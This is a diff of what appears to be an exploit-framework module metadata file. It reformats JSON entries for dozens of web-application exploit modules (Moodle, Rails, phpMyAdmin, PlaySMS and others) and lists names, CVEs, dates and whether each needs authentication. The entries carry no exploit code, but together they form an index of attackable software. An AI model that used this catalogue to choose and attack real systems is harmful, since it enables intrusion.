-109457,9 +96902,7 @@ "exploit_multi/http/microfocus_ucmdb_unauth_deser": { "name": "Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/microfocus_ucmdb_unauth_deser", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-28", "type": "exploit", @@ -109520,9 +96963,7 @@ "exploit_multi/http/mirth_connect_cve_2023_43208": { "name": "Mirth Connect Deserialization RCE", "fullname": "exploit/multi/http/mirth_connect_cve_2023_43208", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-25", "type": "exploit", @@ -109585,9 +97026,7 @@ "exploit_multi/http/mma_backdoor_upload": { "name": "Th3 MMA mma.php Backdoor Arbitrary File Upload", "fullname": "exploit/multi/http/mma_backdoor_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-02", "type": "exploit", @@ -109626,17 +97065,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/mobilecartly_upload_exec": { "name": "MobileCartly 1.0 Arbitrary File Creation Vulnerability", "fullname": "exploit/multi/http/mobilecartly_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-10", "type": "exploit", @@ -109679,17 +97115,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/monitorr_webshell_rce_cve_2020_28871": { "name": "Monitorr unauthenticated Remote Code Execution (RCE)", "fullname": "exploit/multi/http/monitorr_webshell_rce_cve_2020_28871", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-16", "type": "exploit", @@ -109756,9 +97189,7 @@ "exploit_multi/http/monstra_fileupload_exec": { "name": "Monstra CMS Authenticated Arbitrary File Upload", "fullname": "exploit/multi/http/monstra_fileupload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-18", "type": "exploit", @@ -109802,17 +97233,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/moodle_admin_shell_upload": { "name": "Moodle Admin Shell Upload", "fullname": "exploit/multi/http/moodle_admin_shell_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-28", "type": "exploit", @@ -109872,9 +97300,7 @@ "exploit_multi/http/moodle_spelling_binary_rce": { "name": "Moodle Authenticated Spelling Binary RCE", "fullname": "exploit/multi/http/moodle_spelling_binary_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -109934,9 +97360,7 @@ "exploit_multi/http/moodle_spelling_path_rce": { "name": "Moodle SpellChecker Path Authenticated Remote Command Execution", "fullname": "exploit/multi/http/moodle_spelling_path_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-06-22", "type": "exploit", @@ -109947,7 +97371,7 @@ "description": "Moodle allows an authenticated administrator to define spellcheck settings via the web interface.\n An administrator can update the aspell path to include a command injection. This is extremely\n similar to CVE-2013-3630, just using a different variable.\n\n This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.", "references": [ "CVE-2021-21809", - "URL-https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277" + "URL-http://web.archive.org/web/20250221153941/https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277" ], "platform": "PHP", "arch": "php", @@ -109970,7 +97394,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-04 13:31:11 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/moodle_spelling_path_rce.rb", "is_install_path": true, "ref_name": "multi/http/moodle_spelling_path_rce", @@ -109995,9 +97419,7 @@ "exploit_multi/http/moodle_teacher_enrollment_priv_esc_to_rce": { "name": "Moodle Teacher Enrollment Privilege Escalation to RCE", "fullname": "exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-07-20", "type": "exploit", @@ -110059,9 +97481,7 @@ "exploit_multi/http/movabletype_upgrade_exec": { "name": "Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution", "fullname": "exploit/multi/http/movabletype_upgrade_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-07", "type": "exploit", @@ -110106,17 +97526,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/mutiny_subnetmask_exec": { "name": "Mutiny Remote Command Execution", "fullname": "exploit/multi/http/mutiny_subnetmask_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-22", "type": "exploit", @@ -110161,17 +97578,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/mybb_rce_cve_2022_24734": { "name": "MyBB Admin Control Code Injection RCE", "fullname": "exploit/multi/http/mybb_rce_cve_2022_24734", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-09", "type": "exploit", @@ -110237,9 +97651,7 @@ "exploit_multi/http/nas4free_php_exec": { "name": "NAS4Free Arbitrary Remote Code Execution", "fullname": "exploit/multi/http/nas4free_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-10-30", "type": "exploit", @@ -110279,17 +97691,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/navigate_cms_rce": { "name": "Navigate CMS Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/navigate_cms_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-09-26", "type": "exploit", @@ -110329,17 +97738,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/netwin_surgeftp_exec": { "name": "Netwin SurgeFTP Remote Command Execution", "fullname": "exploit/multi/http/netwin_surgeftp_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-12-06", "type": "exploit", @@ -110400,9 +97806,7 @@ "exploit_multi/http/nibbleblog_file_upload": { "name": "Nibbleblog File Upload Vulnerability", "fullname": "exploit/multi/http/nibbleblog_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-01", "type": "exploit", @@ -110443,17 +97847,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/nostromo_code_exec": { "name": "Nostromo Directory Traversal Remote Command Execution", "fullname": "exploit/multi/http/nostromo_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2019-10-20", "type": "exploit", @@ -110513,9 +97914,7 @@ "exploit_multi/http/novell_servicedesk_rce": { "name": "Novell ServiceDesk Authenticated File Upload", "fullname": "exploit/multi/http/novell_servicedesk_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-30", "type": "exploit", @@ -110558,17 +97957,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/nuuo_nvrmini_upgrade_rce": { "name": "NUUO NVRmini upgrade_handle.php Remote Command Execution", "fullname": "exploit/multi/http/nuuo_nvrmini_upgrade_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-04", "type": "exploit", @@ -110611,17 +98007,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/october_upload_bypass_exec": { "name": "October CMS Upload Protection Bypass Code Execution", "fullname": "exploit/multi/http/october_upload_bypass_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-25", "type": "exploit", @@ -110664,17 +98057,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/op5_license": { "name": "OP5 license.php Remote Command Execution", "fullname": "exploit/multi/http/op5_license", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-05", "type": "exploit", @@ -110715,17 +98105,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/op5_welcome": { "name": "OP5 welcome Remote Command Execution", "fullname": "exploit/multi/http/op5_welcome", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-05", "type": "exploit", @@ -110766,17 +98153,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/open_web_analytics_rce": { "name": "Open Web Analytics 1.7.3 - Remote Code Execution (RCE)", "fullname": "exploit/multi/http/open_web_analytics_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-18", "type": "exploit", @@ -110838,9 +98222,7 @@ "exploit_multi/http/openfire_auth_bypass": { "name": "Openfire Admin Console Authentication Bypass", "fullname": "exploit/multi/http/openfire_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-11-10", "type": "exploit", @@ -110886,17 +98268,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/openfire_auth_bypass_rce_cve_2023_32315": { "name": "Openfire authentication bypass with RCE plugin", "fullname": "exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-26", "type": "exploit", @@ -110956,9 +98335,7 @@ "exploit_multi/http/openmrs_deserialization": { "name": "OpenMRS Java Deserialization RCE", "fullname": "exploit/multi/http/openmrs_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-02-04", "type": "exploit", @@ -111002,17 +98379,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/openx_backdoor_php": { "name": "OpenX Backdoor PHP Code Execution", "fullname": "exploit/multi/http/openx_backdoor_php", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-07", "type": "exploit", @@ -111055,17 +98429,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/opmanager_socialit_file_upload": { "name": "ManageEngine OpManager and Social IT Arbitrary File Upload", "fullname": "exploit/multi/http/opmanager_socialit_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-27", "type": "exploit", @@ -111106,17 +98477,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/opmanager_sumpdu_deserialization": { "name": "ManageEngine OpManager SumPDU Java Deserialization", "fullname": "exploit/multi/http/opmanager_sumpdu_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-07-26", "type": "exploit", @@ -111181,9 +98549,7 @@ "exploit_multi/http/oracle_ats_file_upload": { "name": "Oracle ATS Arbitrary File Upload", "fullname": "exploit/multi/http/oracle_ats_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-01-20", "type": "exploit", @@ -111226,17 +98592,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/oracle_reports_rce": { "name": "Oracle Forms and Reports Remote Code Execution", "fullname": "exploit/multi/http/oracle_reports_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-15", "type": "exploit", @@ -111281,17 +98644,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/oracle_weblogic_wsat_deserialization_rce": { "name": "Oracle WebLogic wls-wsat Component Deserialization RCE", "fullname": "exploit/multi/http/oracle_weblogic_wsat_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-19", "type": "exploit", @@ -111338,17 +98698,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/orientdb_exec": { "name": "OrientDB 2.2.x Remote Code Execution", "fullname": "exploit/multi/http/orientdb_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-07-13", "type": "exploit", @@ -111393,17 +98750,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/oscommerce_installer_unauth_code_exec": { "name": "osCommerce Installer Unauthenticated Code Execution", "fullname": "exploit/multi/http/oscommerce_installer_unauth_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-30", "type": "exploit", @@ -111443,17 +98797,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/pandora_upload_exec": { "name": "Pandora FMS v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/pandora_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-11-30", "type": "exploit", @@ -111500,17 +98851,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/papercut_ng_auth_bypass": { "name": "PaperCut PaperCutNG Authentication Bypass", "fullname": "exploit/multi/http/papercut_ng_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-13", "type": "exploit", @@ -111573,9 +98921,7 @@ "exploit_multi/http/pentaho_business_server_authbypass_and_ssti": { "name": "Pentaho Business Server Auth Bypass and Server Side Template Injection RCE", "fullname": "exploit/multi/http/pentaho_business_server_authbypass_and_ssti", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-04", "type": "exploit", @@ -111641,9 +98987,7 @@ "exploit_multi/http/pgadmin_session_deserialization": { "name": "pgAdmin Session Deserialization RCE", "fullname": "exploit/multi/http/pgadmin_session_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-04", "type": "exploit", @@ -111704,9 +99048,7 @@ "exploit_multi/http/phoenix_exec": { "name": "Phoenix Exploit Kit Remote Code Execution", "fullname": "exploit/multi/http/phoenix_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-01", "type": "exploit", @@ -111748,17 +99090,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/php_cgi_arg_injection": { "name": "PHP CGI Argument Injection", "fullname": "exploit/multi/http/php_cgi_arg_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-03", "type": "exploit", @@ -111823,9 +99162,7 @@ "exploit_multi/http/php_fpm_rce": { "name": "PHP-FPM Underflow RCE", "fullname": "exploit/multi/http/php_fpm_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-10-22", "type": "exploit", @@ -111888,9 +99225,7 @@ "exploit_multi/http/php_utility_belt_rce": { "name": "PHP Utility Belt Remote Code Execution", "fullname": "exploit/multi/http/php_utility_belt_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-08", "type": "exploit", @@ -111931,17 +99266,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/php_volunteer_upload_exec": { "name": "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/php_volunteer_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-28", "type": "exploit", @@ -111982,17 +99314,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpfilemanager_rce": { "name": "phpFileManager 0.9.8 Remote Code Execution", "fullname": "exploit/multi/http/phpfilemanager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-28", "type": "exploit", @@ -112035,17 +99364,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpldapadmin_query_engine": { "name": "phpLDAPadmin query_engine Remote PHP Code Injection", "fullname": "exploit/multi/http/phpldapadmin_query_engine", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-24", "type": "exploit", @@ -112089,17 +99415,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpmailer_arg_injection": { "name": "PHPMailer Sendmail Argument Injection", "fullname": "exploit/multi/http/phpmailer_arg_injection", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-12-26", "type": "exploit", @@ -112163,9 +99486,7 @@ "exploit_multi/http/phpmoadmin_exec": { "name": "PHPMoAdmin 1.1.2 Remote Code Execution", "fullname": "exploit/multi/http/phpmoadmin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-03", "type": "exploit", @@ -112208,17 +99529,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpmyadmin_3522_backdoor": { "name": "phpMyAdmin 3.5.2.2 server_sync.php Backdoor", "fullname": "exploit/multi/http/phpmyadmin_3522_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-09-25", "type": "exploit", @@ -112260,17 +99578,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpmyadmin_lfi_rce": { "name": "phpMyAdmin Authenticated Remote Code Execution", "fullname": "exploit/multi/http/phpmyadmin_lfi_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-06-19", "type": "exploit", @@ -112318,17 +99633,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpmyadmin_null_termination_exec": { "name": "phpMyAdmin Authenticated Remote Code Execution", "fullname": "exploit/multi/http/phpmyadmin_null_termination_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-23", "type": "exploit", @@ -112373,17 +99685,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpmyadmin_preg_replace": { "name": "phpMyAdmin Authenticated Remote Code Execution via preg_replace()", "fullname": "exploit/multi/http/phpmyadmin_preg_replace", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-25", "type": "exploit", @@ -112431,12 +99740,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -112444,9 +99749,7 @@ "exploit_multi/http/phpscheduleit_start_date": { "name": "phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection", "fullname": "exploit/multi/http/phpscheduleit_start_date", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-10-01", "type": "exploit", @@ -112489,17 +99792,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpstudy_backdoor_rce": { "name": "PHPStudy Backdoor Remote Code execution", "fullname": "exploit/multi/http/phpstudy_backdoor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-09-20", "type": "exploit", @@ -112556,9 +99856,7 @@ "exploit_multi/http/phptax_exec": { "name": "PhpTax pfilez Parameter Exec Remote Code Injection", "fullname": "exploit/multi/http/phptax_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-08", "type": "exploit", @@ -112599,17 +99897,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/phpwiki_ploticus_exec": { "name": "Phpwiki Ploticus Remote Code Execution", "fullname": "exploit/multi/http/phpwiki_ploticus_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-11", "type": "exploit", @@ -112654,17 +99949,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/pimcore_unserialize_rce": { "name": "Pimcore Unserialize RCE", "fullname": "exploit/multi/http/pimcore_unserialize_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-11", "type": "exploit", @@ -112707,17 +99999,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/playsms_filename_exec": { "name": "PlaySMS sendfromfile.php Authenticated \"Filename\" Field Code Execution", "fullname": "exploit/multi/http/playsms_filename_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-21", "type": "exploit", @@ -112760,17 +100049,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/playsms_template_injection": { "name": "PlaySMS index.php Unauthenticated Template Injection Code Execution", "fullname": "exploit/multi/http/playsms_template_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-05", "type": "exploit", @@ -112829,9 +100115,7 @@ "exploit_multi/http/playsms_uploadcsv_exec": { "name": "PlaySMS import.php Authenticated CSV File Upload Code Execution", "fullname": "exploit/multi/http/playsms_uploadcsv_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-21", "type": "exploit", @@ -112872,17 +100156,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/plone_popen2": { "name": "Plone and Zope XMLTools Remote Command Execution", "fullname": "exploit/multi/http/plone_popen2", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-04", "type": "exploit", @@ -112926,17 +100207,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/pmwiki_pagelist": { "name": "PmWiki pagelist.php Remote PHP Code Injection Exploit", "fullname": "exploit/multi/http/pmwiki_pagelist", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-09", "type": "exploit", @@ -112980,17 +100258,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/polarcms_upload_exec": { "name": "PolarBear CMS PHP File Upload Vulnerability", "fullname": "exploit/multi/http/polarcms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-21", "type": "exploit", @@ -113031,17 +100306,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/primefaces_weak_encryption_rce": { "name": "Primefaces Remote Code Execution Exploit", "fullname": "exploit/multi/http/primefaces_weak_encryption_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-15", "type": "exploit", @@ -113094,9 +100366,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -113104,9 +100374,7 @@ "exploit_multi/http/processmaker_exec": { "name": "ProcessMaker Open Source Authenticated PHP Code Execution", "fullname": "exploit/multi/http/processmaker_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-24", "type": "exploit", @@ -113147,17 +100415,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/processmaker_plugin_upload": { "name": "ProcessMaker Plugin Upload", "fullname": "exploit/multi/http/processmaker_plugin_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-08-25", "type": "exploit", @@ -113196,17 +100461,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/qdpm_authenticated_rce": { "name": "qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)", "fullname": "exploit/multi/http/qdpm_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-21", "type": "exploit", @@ -113269,9 +100531,7 @@ "exploit_multi/http/qdpm_upload_exec": { "name": "qdPM v7 Arbitrary PHP File Upload Vulnerability", "fullname": "exploit/multi/http/qdpm_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-14", "type": "exploit", @@ -113313,17 +100573,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/rails_actionpack_inline_exec": { "name": "Ruby on Rails ActionPack Inline ERB Code Execution", "fullname": "exploit/multi/http/rails_actionpack_inline_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-01", "type": "exploit", @@ -113362,17 +100619,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/rails_double_tap": { "name": "Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability", "fullname": "exploit/multi/http/rails_double_tap", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-13", "type": "exploit", @@ -113434,9 +100688,7 @@ "exploit_multi/http/rails_dynamic_render_code_exec": { "name": "Ruby on Rails Dynamic Render File Upload Remote Code Execution", "fullname": "exploit/multi/http/rails_dynamic_render_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-16", "type": "exploit", @@ -113479,17 +100731,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/rails_json_yaml_code_exec": { "name": "Ruby on Rails JSON Processor YAML Deserialization Code Execution", "fullname": "exploit/multi/http/rails_json_yaml_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-28", "type": "exploit", @@ -113531,17 +100780,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/rails_secret_deserialization": { "name": "Ruby on Rails Known Secret Session Cookie Remote Code Execution", "fullname": "exploit/multi/http/rails_secret_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-11", "type": "exploit", @@ -113581,17 +100827,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/rails_web_console_v2_code_exec": { "name": "Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution", "fullname": "exploit/multi/http/rails_web_console_v2_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-16", "type": "exploit", @@ -113635,17 +100878,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/rails_xml_yaml_code_exec": { "name": "Ruby on Rails XML Processor YAML Deserialization Code Execution", "fullname": "exploit/multi/http/rails_xml_yaml_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-07", "type": "exploit", @@ -113689,17 +100929,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/rocket_servergraph_file_requestor_rce": { "name": "Rocket Servergraph Admin Center fileRequestor Remote Code Execution", "fullname": "exploit/multi/http/rocket_servergraph_file_requestor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-10-30", "type": "exploit", @@ -113745,17 +100982,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/rudder_server_sqli_rce": { "name": "Rudder Server SQLI Remote Code Execution", "fullname": "exploit/multi/http/rudder_server_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-16", "type": "exploit", @@ -113814,9 +101048,7 @@ "exploit_multi/http/sflog_upload_exec": { "name": "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/sflog_upload_exec", - 